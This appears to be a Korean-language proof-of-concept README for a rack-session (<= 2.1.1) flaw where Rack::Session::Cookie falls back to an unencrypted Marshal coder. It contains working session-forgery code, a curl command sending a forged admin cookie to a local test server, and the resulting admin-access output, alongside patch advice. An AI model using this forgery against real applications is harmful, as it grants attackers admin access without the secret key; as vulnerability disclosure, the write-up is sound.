
# Rack::Cookie 인증 우회(CVE-2026-39324)에 대한 개념 증명 익스플로잇 폴백 코더를 통한 세션 위조를 시연하여 관리자 접근 권한을 획득하는 익스플로잇입니다.
Rack::Session::Cookie 복호화 실패 시 암호화되지 않은 쿠키를 수락하는 폴백 발생
| 권고 | GHSA-33qg-7wpp-89cq |
| 패키지 | rack-session (RubyGems) |
| 영향 범위 | <= 2.1.1 |
| 패치 버전 | 2.1.2 |
secrets: 옵션을 사용하는 Rack::Session::Cookie는 암호화된 쿠키만 수락해야 합니다. 그러나 복호화에 실패하면 쿠키를 거부하지 않고 기본 Base64::Marshal 코더로 폴백합니다.
공격자는 일반 Base64(Marshal.dump(...)) 쿠키를 전송할 수 있으며, 서버는 비밀 키를 알지 못한 채 이를 유효한 세션 데이터로 수락합니다.
rack-session <= 2.1.1secrets: 옵션을 사용하는 Rack::Session::Cookieuser_id, role 등)을 사용영향을 받지 않는 경우:
secret: (단수) — HMAC 서명을 사용하며 다른 코드 경로입니다. secrets: (복수, 암호화 쿠키 모드)만 취약합니다.ActionDispatch::Session::CookieStore를 사용하는 별도 구현입니다.# lib/rack/session/cookie.rb
# secrets: 설정과 관계없이 폴백 코더가 항상 생성됨
@coder = options[:coder] ||= Base64::Marshal.new
# 복호화 시도 — 암호화되지 않은 쿠키는 모두 실패
encryptors.each do |encryptor|
session_data = encryptor.decrypt(cookie_data) rescue next
break
end
# 버그: 거부하지 않고 암호화되지 않은 코더로 폴백
if !session_data && coder
session_data = coder.decode(cookie_data) # → Marshal.load(Base64.decode64(...))
end
secrets: 경로에서 복호화 실패는 종료되어야 합니다. 그러나 대신 쿠키가 coder.decode()로 전달되어 일반 쿠키가 세션 데이터로 로드됩니다.
poc/
├── Gemfile rack-session 2.1.1
├── server.rb secrets: 설정이 있는 Rack 앱
├── verify.rb 기본 동작 확인 (정상 동작)
└── attack.rb 세션 위조 (익스플로잇)
cd poc
bundle install
ruby server.rb & # 취약한 서버 시작
ruby verify.rb # 정상 동작 확인
ruby attack.rb # 쿠키 위조 → 관리자 접근
암호화된 쿠키에 secrets:를 사용하는 Rack 앱. 두 명의 사용자: id=1 (일반), id=2 (관리자). 세션에는 user_id만 저장되며, 관리자 확인은 서버 측 조회로 수행됩니다.
서버가 올바르게 작동하는지 확인합니다:
| 요청 | 예상 결과 |
|---|---|
GET /admin (쿠키 없음) | 403 |
POST /login?id=1 | 200, 암호화된 쿠키 |
GET /admin (user id=1 쿠키) | 403 |
비밀 키 없이 세션 쿠키를 위조합니다.
1) 쿠키 위조:
payload = { "session_id" => "attacker-forged", "user_id" => 2 }
cookie = Base64.strict_encode64(Marshal.dump(payload))
2) 위조된 쿠키를 수신했을 때 서버 측 흐름:
encryptor #1 decrypt → HMAC invalid
encryptor #2 decrypt → HMAC invalid
fallback → coder.decode() → Marshal.load → 공격자 세션 수락
→ session["user_id"] = 2 → 관리자 사용자 확인 → 200 OK
$ ruby attack.rb
--- CVE-2026-39324: Session Forgery ---
Target: http://127.0.0.1:9416
Payload: {"session_id" => "attacker-forged", "user_id" => 2}
Cookie: rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiFGF0dGFja2VyLWZvcmdlZAY7AFRJIgx1c2VyX2lkBjsAVGkH
Session cookie encryptor error: HMAC is invalid ← encryptor #1 실패
Session cookie encryptor error: HMAC is invalid ← encryptor #2 실패, 그러나 쿠키는 거부되지 않음
Status: 200
Body: {"status" => "ok", "message" => "admin panel", "session_hash" => {"session_id" => "attacker-forged", "user_id" => 2}, "current_user" => {"id" => 2, "email" => "[email protected]", "admin" => true}}
[!] VULNERABLE — 위조된 user_id=2가 수락되어 관리자 접근 권한이 부여됨.
두 HMAC 검사가 모두 실패하지만 쿠키는 거부되지 않습니다. 폴백 코더가 이를 수락하고 공격자는 관리자 권한을 얻습니다.
ruby -rbase64 -e 'puts Base64.strict_encode64(Marshal.dump({"user_id"=>2}))'
# → BAh7BkkiDHVzZXJfaWQGOgZFVGkH
curl http://127.0.0.1:9416/admin -H 'Cookie: rack.session=BAh7BkkiDHVzZXJfaWQGOgZFVGkH'
rack-session을 >= 2.1.2로 업데이트